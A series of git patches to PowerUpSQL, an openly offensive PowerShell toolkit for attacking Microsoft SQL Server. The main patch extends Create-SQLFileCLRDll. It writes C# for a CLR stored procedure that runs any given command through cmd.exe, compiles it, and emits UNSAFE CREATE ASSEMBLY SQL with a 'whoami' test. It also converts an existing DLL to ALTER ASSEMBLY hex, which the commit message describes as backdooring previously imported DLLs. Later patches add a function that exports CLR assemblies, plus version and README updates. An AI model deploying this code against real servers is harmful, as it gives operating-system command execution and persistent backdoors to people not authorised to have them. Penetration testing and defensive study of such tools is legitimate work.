97d1ac6c8575b4f323d4bd88812282cd77e75988 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 11 Jun 2017 22:04:52 -0500 Subject: [PATCH 023/145] Update create-sqlfileclr Now we can grab bytes from an existing CLR DLL instead of just the one we generate. Nice for backdooring previously imported DLLs. --- PowerUpSQL.ps1 | 212 +++++++++++++++++++++++++++++-------------------- 1 file changed, 124 insertions(+), 88 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index b95da95..4fff13c 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.87 + Version: 1.0.0.88 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -10418,22 +10418,19 @@ function Create-SQLFileCLRDll { <# .SYNOPSIS - This script can be used to create a CLR DLL to execute OS commands through SQL Server. It will - also generate a CREATE ASSEMBLY command that can be used to create an assembly and function without - requiring the DLL. + This script can be used to create a CLR DLL to execute OS commands through SQL Server. It provides the option to set a custom procedure name. + By default, it will also create a file containing a "CREATE ASSEMBLY" TSQL command that can be used to create an assembly and function without + requiring the DLL. Finally, an the function can be used to convert an existing CRL DLL ascii hex so it can be used + to register the assembly without the DLL. .NOTES https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqlpipe.sendresultsrow(v=vs.110).aspx http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/ https://msdn.microsoft.com/en-us/library/ms254498(v=vs.110).aspx + https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-assembly-transact-sql #> [CmdletBinding()] Param( - - [Parameter(Mandatory = $false, - HelpMessage = 'Operating system command to run.')] - [string]$Command, - [Parameter(Mandatory = $false, HelpMessage = 'Procedure name.')] [string]$ProcedureName = "cmd_exec", @@ -10443,8 +10440,12 @@ function Create-SQLFileCLRDll [string]$OutDir = $env:temp, [Parameter(Mandatory = $false, - HelpMessage = 'Output file name.')] - [string]$OutFile = "CLRFile" + HelpMessage = 'Output name.')] + [string]$OutFile = "CLRFile", + + [Parameter(Mandatory = $false, + HelpMessage = 'Optional source DLL to convert to ascii hex.')] + [string]$SourceDllPath ) Begin @@ -10456,106 +10457,141 @@ function Create-SQLFileCLRDll $SRCPath = $OutDir + '\' + $OutFile + '.csc' $DllPath = $OutDir + '\' + $OutFile + '.dll' $CommandPath = $OutDir + '\' + $OutFile + '.txt' + + # Change source DLL to existing DLL if provided + if($SourceDllPath){ + $DllPath = $SourceDllPath + $SRCPath = "NA" + } } Process { - # Create c# teamplate that will run any provided command - # Based on template from http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/ - $TemplateCmdExec = @" - using System; - using System.Data; - using System.Data.SqlClient; - using System.Data.SqlTypes; - using Microsoft.SqlServer.Server; - using System.IO; - using System.Diagnostics; - using System.Text; - public partial class StoredProcedures - { - [Microsoft.SqlServer.Server.SqlProcedure] - public static void $ProcedureName (SqlString execCommand) - { - Process proc = new Process(); - proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; - proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); - proc.StartInfo.UseShellExecute = false; - proc.StartInfo.RedirectStandardOutput = true; - proc.Start(); + # Status the user + Write-Verbose "Target C# File: $SRCPath" + Write-Verbose "Target DLL File: $DllPath" + + if (-not $SourceDllPath){ + # Create c# teamplate that will run any provided command + # Based on template from http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/ + $TemplateCmdExec = @" + using System; + using System.Data; + using System.Data.SqlClient; + using System.Data.SqlTypes; + using Microsoft.SqlServer.Server; + using System.IO; + using System.Diagnostics; + using System.Text; + public partial class StoredProcedures + { + [Microsoft.SqlServer.Server.SqlProcedure] + public static void $ProcedureName (SqlString execCommand) + { + Process proc = new Process(); + proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; + proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); + proc.StartInfo.UseShellExecute = false; + proc.StartInfo.RedirectStandardOutput = true; + proc.Start(); - // Create the record and specify the metadata for the columns. - SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); - // Mark the begining of the result-set. - SqlContext.Pipe.SendResultsStart(record); + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); - // Set values for each column in the row - record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); + // Set values for each column in the row + record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); - // Send the row back to the client. - SqlContext.Pipe.SendResultsRow(record); + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); - // Mark the end of the result-set. - SqlContext.Pipe.SendResultsEnd(); + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); - proc.WaitForExit(); - proc.Close(); + proc.WaitForExit(); + proc.Close(); - } - }; + } + }; "@ - # Setup output file paths - Write-Verbose "Writing source code to $SRCPath" - $TemplateCmdExec | Out-File $SRCPath + # Write out the cs code + Write-Verbose "Writing C# code to $SRCPath" + $TemplateCmdExec | Out-File $SRCPath - # Identify csc path - Write-Verbose "Locating csc.exe" - $CSCPath = Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname - if(-not $CSCPath){ - Write-Output "No csc.exe found." - return + # Identify csc path + Write-Verbose "Searching for csc.exe..." + $CSCPath = Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname + if(-not $CSCPath){ + Write-Output "No csc.exe found." + return + }else{ + Write-Verbose "csc.exe found." + } + + $CurrentDirectory = pwd + cd $OutDir + $Command = "$CSCPath /target:library " + $SRCPath + # write-verbose "CSC Command: $Command" + Write-Verbose "Compiling to dll..." + $Results = Invoke-Expression $Command + cd $CurrentDirectory } - - # Compile binary - $CurrentDirectory = pwd - cd $OutDir - $Command = "$CSCPath /target:library " + $SRCPath - Write-Verbose "Compiling $SRCPath to $DllPath" - write-verbose "Command: $Command" - $Results = Invoke-Expression $Command - cd $CurrentDirectory - + # Read and encode file Write-Verbose "Grabbing bytes from the dll" - $stringBuilder = New-Object -Type System.Text.StringBuilder - $stringBuilder.Append("create assembly [") > $null - $stringBuilder.Append($ProcedureName) > $null - $stringBuilder.Append("] AUTHORIZATION [dbo] from `n0x") > $null - $assemblyFile = resolve-path $DllPath - $fileStream = [IO.File]::OpenRead($assemblyFile) - while (($byte = $fileStream.ReadByte()) -gt -1) { - $stringBuilder.Append($byte.ToString("X2")) > $null - } - $stringBuilder.Append("`n with permission_set = UNSAFE") - $stringBuilder.Append(" GO") - $stringBuilder.Append(" CREATE PROCEDURE [dbo].[$ProcedureName] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$ProcedureName].[StoredProcedures].[$ProcedureName];") - $stringBuilder.Append(" GO") - $stringBuilder.Append(" EXEC[dbo].[cmd_exec] 'whoami'") - $stringBuilder.Append(" GO") - $MySQLCommand = $stringBuilder.ToString() -join "" - $fileStream.Close() - $fileStream.Dispose() + if (-not $SourceDllPath){ + + # write from default file + $stringBuilder = New-Object -Type System.Text.StringBuilder + $stringBuilder.Append("CREATE ASSEMBLY [") > $null + $stringBuilder.Append($ProcedureName) > $null + $stringBuilder.Append("] AUTHORIZATION [dbo] FROM `n0x") > $null + $assemblyFile = resolve-path $DllPath + $fileStream = [IO.File]::OpenRead($assemblyFile) + while (($byte = $fileStream.ReadByte()) -gt -1) { + $stringBuilder.Append($byte.ToString("X2")) > $null + } + $null = $stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") + $null = $stringBuilder.AppendLine("GO") + $null = $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[$ProcedureName] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$ProcedureName].[StoredProcedures].[$ProcedureName];") + $null = $stringBuilder.AppendLine("GO") + $null = $stringBuilder.AppendLine("EXEC[dbo].[$ProcedureName] 'whoami'") + $null = $stringBuilder.AppendLine("GO") + $MySQLCommand = $stringBuilder.ToString() -join "" + $fileStream.Close() + $fileStream.Dispose() + }else{ + + # write from provided file + $stringBuilder = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder.AppendLine("-- Change the assembly name to the one you want to replace") + $null = $stringBuilder.AppendLine("ALTER ASSEMBLY [TBD] FROM") + $null = $stringBuilder.Append("`n0x") + $assemblyFile = resolve-path $DllPath + $fileStream = [IO.File]::OpenRead($assemblyFile) + while (($byte = $fileStream.ReadByte()) -gt -1) { + $stringBuilder.Append($byte.ToString("X2")) > $null + } + $null = $stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") + $null = $stringBuilder.Append("") + $MySQLCommand = $stringBuilder.ToString() -join "" + $fileStream.Close() + $fileStream.Dispose() + + } # Generate SQL Command - note: this needs to be join together to work - Write-Verbose "Writing CREATE ASSEMBLY command using DLL bytes to $CommandPath" + Write-Verbose "Writing SQL to: $CommandPath" $MySQLCommand | Out-File $CommandPath # Status user - Write-Output "Source: $SRCPath" - Write-Output "DLL: $DllPath" - Write-Output "SQL Command: $CommandPath" + Write-Output "C# File: $SRCPath" + Write-Output "CLR DLL: $DllPath" + Write-Output "SQL Cmd: $CommandPath" } End From 7028c4c2ea00ba6cb02c1d8fc398d46517ae39a5 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 11 Jun 2017 22:05:08 -0500 Subject: [PATCH 024/145] Create PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index b8b9189..d68edae 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.87' + ModuleVersion = '1.0.0.88' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From fe7c7004c8b5db8eaa6b84d439da034572081f2a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 12 Jun 2017 19:58:54 -0500 Subject: [PATCH 025/145] Update get-sqlassemblyfile added output column --- PowerUpSQL.ps1 | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 4fff13c..6ce7514 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.88 + Version: 1.0.0.89 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -9309,9 +9309,10 @@ Function Get-SQLAssemblyFile $null = $TblAssemblyFiles.Columns.Add('Instance') $null = $TblAssemblyFiles.Columns.Add('DatabaseName') $null = $TblAssemblyFiles.Columns.Add('assembly_id') - $null = $TblAssemblyFiles.Columns.Add('name') - $null = $TblAssemblyFiles.Columns.Add('clr_name') + $null = $TblAssemblyFiles.Columns.Add('assembly_name') $null = $TblAssemblyFiles.Columns.Add('file_id') + $null = $TblAssemblyFiles.Columns.Add('file_name') + $null = $TblAssemblyFiles.Columns.Add('clr_name') $null = $TblAssemblyFiles.Columns.Add('content') $null = $TblAssemblyFiles.Columns.Add('permission_set_desc') $null = $TblAssemblyFiles.Columns.Add('create_date') @@ -9384,9 +9385,10 @@ Function Get-SQLAssemblyFile # Define Query $Query = "USE $DbName; SELECT af.assembly_id, - af.name, + a.name as assembly_name, + af.file_id, + af.name as file_name, a.clr_name, - af.file_id, af.content, a.permission_set_desc, a.create_date, @@ -9408,9 +9410,10 @@ Function Get-SQLAssemblyFile [string]$Instance, [string]$DbName, [string]$_.assembly_id, - [string]$_.name, - [string]$_.clr_name, + [string]$_.assembly_name, [string]$_.file_id, + [string]$_.file_name, + [string]$_.clr_name, [string]$_.content, [string]$_.permission_set_desc, [string]$_.create_date, @@ -9443,7 +9446,7 @@ Function Get-SQLAssemblyFile } # Create dll file if it doesnt exist - $CLRFilename = $_.name + $CLRFilename = $_.file_name Write-Verbose "$instance : - Exporting $CLRFilename.dll" $FullExportPath = "$Databasepath\$CLRFilename.dll" $_.content | Set-Content -Encoding Byte $FullExportPath From e1f700869773947ab5fad1014b952d4c198de127 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 12 Jun 2017 20:01:33 -0500 Subject: [PATCH 026/145] update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index d68edae..5c72096 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.88' + ModuleVersion = '1.0.0.89' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From ce69fdf9339c49f00c05027e859e54101c8eb3d8 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 15:08:47 -0500 Subject: [PATCH 027/145] Add Get-SQLStoredProcedureCLR Get-SQLStoredProcedureCLR supports listing CLR stored procedures and exporting them to a DLL. --- PowerUpSQL.ps1 | 276 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 275 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 6ce7514..054c172 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.89 + Version: 1.1.90 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8467,6 +8467,280 @@ Function Get-SQLTriggerDml } +# ---------------------------------- +# Get-SQLStoredProcedureCLR +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLStoredProcedureCLR +{ + <# + .SYNOPSIS + Returns stored procedures created from CLR assemblies for each accessible database. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name to filter for. + .PARAMETER DatabaseUser + Database user to filter for. + .PARAMETER NoDefaults + Only show information for non default databases. + .PARAMETER ExportFolder + Folder to export CLR DLL files to. + .PARAMETER AssemblyName + Filter for assembly names that contain the provided word. + + .EXAMPLE + Get CLR stored procedure information and export source DLLs to a folder as a sysadmin. + PS C:\> Get-SQLStoredProcedureCLR -Verbose -Instance SQLServer1\Instance1 -ExportFolder . | ft -AutoSize + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Grabbing assembly file information from master. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Creating export folder: .\CLRExports + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Creating server folder: .\CLRExports\MSSQLSRV04_SQLSERVER2014 + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Creating database folder: .\CLRExports\MSSQLSRV04_SQLSERVER2014\master + VERBOSE: MSSQLSRV04\SQLSERVER2014 : - Exporting adduser.dll + VERBOSE: MSSQLSRV04\SQLSERVER2014 : - Exporting CLRFile.dll + VERBOSE: MSSQLSRV04\SQLSERVER2014 : - Exporting runcmd.dll.dll + + ComputerName Instance DatabaseName assembly_method assembly_id assembly_name file_id file_name clr_name + ------------ -------- ------------ --------------- ----------- ------------- ------- --------- -------- + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 testdb readfile 65537 filetools 1 filetools filetools, ve... + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 testdb writefile 65537 filetools 1 filetools filetools, ve... + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 testdb runcmd 65558 runcmd 1 ostools ostools,... + + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLStoredProcedureCLR -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server database name.')] + [string]$DatabaseName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter for filenames.')] + [string]$AssemblyName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Folder to export DLLs to.')] + [string]$ExportFolder, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Do not show database users associated with default databases.')] + [Switch]$NoDefaults, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Table for output + $TblAssemblyFiles = New-Object -TypeName System.Data.DataTable + $null = $TblAssemblyFiles.Columns.Add('ComputerName') + $null = $TblAssemblyFiles.Columns.Add('Instance') + $null = $TblAssemblyFiles.Columns.Add('DatabaseName') + $null = $TblAssemblyFiles.Columns.Add('assembly_method') + $null = $TblAssemblyFiles.Columns.Add('assembly_id') + $null = $TblAssemblyFiles.Columns.Add('assembly_name') + $null = $TblAssemblyFiles.Columns.Add('file_id') + $null = $TblAssemblyFiles.Columns.Add('file_name') + $null = $TblAssemblyFiles.Columns.Add('clr_name') + $null = $TblAssemblyFiles.Columns.Add('permission_set_desc') + $null = $TblAssemblyFiles.Columns.Add('create_date') + $null = $TblAssemblyFiles.Columns.Add('modify_date') + $null = $TblAssemblyFiles.Columns.Add('is_user_defined') + $null = $TblAssemblyFiles.Columns.Add('content') + } + + Process + { + # Note: Tables queried by this function typically require sysadmin or DBO privileges. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Get list of databases + if($NoDefaults) + { + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose -NoDefaults + } + else + { + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose + } + + # Setup assembly name filter + if($AssemblyName){ + $AssemblyNameQuery = "WHERE af.name LIKE '%$AssemblyName%'" + }else{ + $AssemblyNameQuery = "" + } + + # Get the privs for each database + $TblDatabases | + ForEach-Object -Process { + # Set DatabaseName filter + $DbName = $_.DatabaseName + + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Grabbing assembly file information from $DbName." + } + + # Define Query + $Query = "USE $DbName; + SELECT am.assembly_method, + af.assembly_id, + a.name as assembly_name, + af.file_id, + af.name as file_name, + a.clr_name, + a.permission_set_desc, + a.create_date, + a.modify_date, + a.is_user_defined, + af.content + FROM sys.assemblies a + INNER JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id + INNER JOIN sys.assembly_modules am ON am.assembly_id = af.assembly_id + $AssemblyNameQuery" + + # Execute Query + $TblAssemblyFilesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Add each result to table + $TblAssemblyFilesTemp | + ForEach-Object -Process { + + # Add results to table + $null = $TblAssemblyFiles.Rows.Add( + [string]$ComputerName, + [string]$Instance, + [string]$DbName, + [string]$_.assembly_method, + [string]$_.assembly_id, + [string]$_.assembly_name, + [string]$_.file_id, + [string]$_.file_name, + [string]$_.clr_name, + [string]$_.permission_set_desc, + [string]$_.create_date, + [string]$_.modify_date, + [string]$_.is_user_defined, + [string]$_.content) + + # Setup vars for verbose output + $CLRFilename = $_.file_name + $CLRMethod = $_.assembly_method + $CLRAssembly = $_.assembly_name + + # Export dll + if($ExportFolder){ + + # Create export folder + $ExportOutputFolder = "$ExportFolder\CLRExports" + If ((test-path $ExportOutputFolder) -eq $False){ + Write-Verbose "$instance : Creating export folder: $ExportOutputFolder" + $null = New-Item -Path "$ExportOutputFolder" -type directory + } + + # Create instance subfolder if it doesnt exist + $InstanceClean = $Instance -replace('\\','_') + $ServerPath = "$ExportOutputFolder\$InstanceClean" + If ((test-path $Serverpath) -eq $False){ + Write-Verbose "$instance : Creating server folder: $ServerPath" + $null = New-Item -Path "$ServerPath" -type directory + } + + # Create database subfolder if it doesnt exist + $Databasepath = "$ServerPath\$DbName" + If ((test-path $Databasepath) -eq $False){ + Write-Verbose "$instance : Creating database folder: $Databasepath" + $null = New-Item $Databasepath -type directory + } + + # Create dll file if it doesnt exist + $FullExportPath = "$Databasepath\$CLRFilename.dll" + if(-not (Test-Path $FullExportPath)){ + Write-Verbose "$Instance : - Exporting $CLRFilename.dll" + $_.content | Set-Content -Encoding Byte $FullExportPath + }else{ + #Write-Verbose "$Instance : $CLRFilename.dll already exported" + } + + # Display found items + Write-Verbose "$instance : - File: $CLRFilename.dll Method: $CLRMethod Assembly: $CLRAssembly " + } + } + } + } + + End + { + # Return data + $TblAssemblyFiles + } +} + + # ---------------------------------- # Get-SQLStoredProcedure # ---------------------------------- From b15c744c0a1e7bfc6b14f2d482797b964898a5b9 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 15:10:22 -0500 Subject: [PATCH 028/145] Update version New version format. (major release).(added function).(minor code update) --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 5c72096..7b4eccf 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.89' + ModuleVersion = '1.1.90' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From c4c30ded81564a6ba674ad9db18da7c402eeafcd Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 15:20:26 -0500 Subject: [PATCH 029/145] Update readme Update readme to point to wiki --- README.md | 22 ---------------------- 1 file changed, 22 deletions(-) diff --git a/README.md b/README.md index 82999d9..6e84855 100644 --- a/README.md +++ b/README.md @@ -19,28 +19,6 @@ The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that could be used by administrators to quickly inventory the SQL Servers in their ADS domain. -PowerUpSQL was designed with six objectives in mind: -* Easy Server Discovery: Discovery functions can be used to blindly identify local, domain, and non-domain SQL Server instances on scale. -* Easy Server Auditing: The Invoke-SQLAudit function can be used to audit for common high impact vulnerabilities and weak configurations using the current login's privileges. Also, Invoke-SQLDumpInfo can be used to quickly inventory databases, privileges, and other information. -* Easy Server Exploitation: The Invoke-SQLEscalatePriv function attempts to obtain sysadmin privileges using identified vulnerabilities. -* Scalability: Multi-threading is supported on core functions so they can be executed against many SQL Servers quickly. -* Flexibility: PowerUpSQL functions support the PowerShell pipeline so they can be used together, and with other scripts. -* Portability: Default .net libraries are used and there are no dependencies on SQLPS or the SMO libraries. Functions have also been designed so they can be run independently. As a result, it's easy to use on any Windows system with PowerShell v2 installed. - - -### Module Information -* Author: Scott Sutherland (@_nullbind), NetSPI - 2016 -* Major Contributors: Antti Rantasaari and Eric Gruber (@egru) -* Contributors: Alexander Leary, @leoloobeek, Mike Manzotti (@mmanzo_), and @ktaranov -* License: BSD 3-Clause -* Required Dependencies: None - For setup instructions, function overviews, and common usage information check out the PowerUpSQL wiki: https://github.com/NetSPI/PowerUpSQL/wiki -### Hacking SQL Server on Scale with PowerShell Presentations -* [2016 OCT - Arcticcon Slides] (http://www.slideshare.net/nullbind/2016-arcticcon-hacking-sql-server-on-scale-with-powershell-v2) -* [2016 OCT - PASS Webinar Video] (https://youtu.be/npoORzfP7rw) -* [2016 SEPT - DerbyCon6 Slides] (http://www.slideshare.net/nullbind/derbycon2016-hacking-sql-server-on-scale-with-powershell) -* [2016 SEPT - DerbyCon6 Videos] (https://www.youtube.com/watch?v=xLbPztByc8M) - From 0a7fc83908c26e0e446004ff3340f86bb1c09478 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 15:21:17 -0500 Subject: [PATCH 030/145] update readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6e84855..272947c 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,6 @@ The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that could be used by administrators to quickly inventory the SQL Servers in their ADS domain. -For setup instructions, function overviews, and common usage information check out the PowerUpSQL wiki: https://github.com/NetSPI/PowerUpSQL/wiki +For setup instructions, cheat sheets, blogs, function overviews, and common usage information check out the PowerUpSQL wiki: https://github.com/NetSPI/PowerUpSQL/wiki From 75562e6bc4e11e496921cdf1306c11de87ff6e75 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 15:22:13 -0500 Subject: [PATCH 031/145] Create README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 272947c..3544290 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,7 @@ The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that could be used by administrators to quickly inventory the SQL Servers in their ADS domain. -For setup instructions, cheat sheets, blogs, function overviews, and common usage information check out the PowerUpSQL wiki: https://github.com/NetSPI/PowerUpSQL/wiki +### PowerUpSQL wiki +For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki From c711e8807a890155fed6d7a3861b05586c3a9727 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 15:22:23 -0500 Subject: [PATCH 032/145] Create README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3544290..5969c79 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that could be used by administrators to quickly inventory the SQL Servers in their ADS domain. -### PowerUpSQL wiki +### PowerUpSQL Wiki For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki From 24d81e269841c5f6a553f0ec3857da52598bf259 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 22:48:02 -0500 Subject: [PATCH 033/145] Update get-sqlstoredprocedureclr Update get-sqlstoredprocedureclr --- PowerUpSQL.ps1 | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 054c172..e6457d1 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.1.90 + Version: 1.1.91 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8634,6 +8634,9 @@ Function Get-SQLStoredProcedureCLR $AssemblyNameQuery = "" } + # Set counter + $Counter = 0 + # Get the privs for each database $TblDatabases | ForEach-Object -Process { @@ -8642,7 +8645,7 @@ Function Get-SQLStoredProcedureCLR if( -not 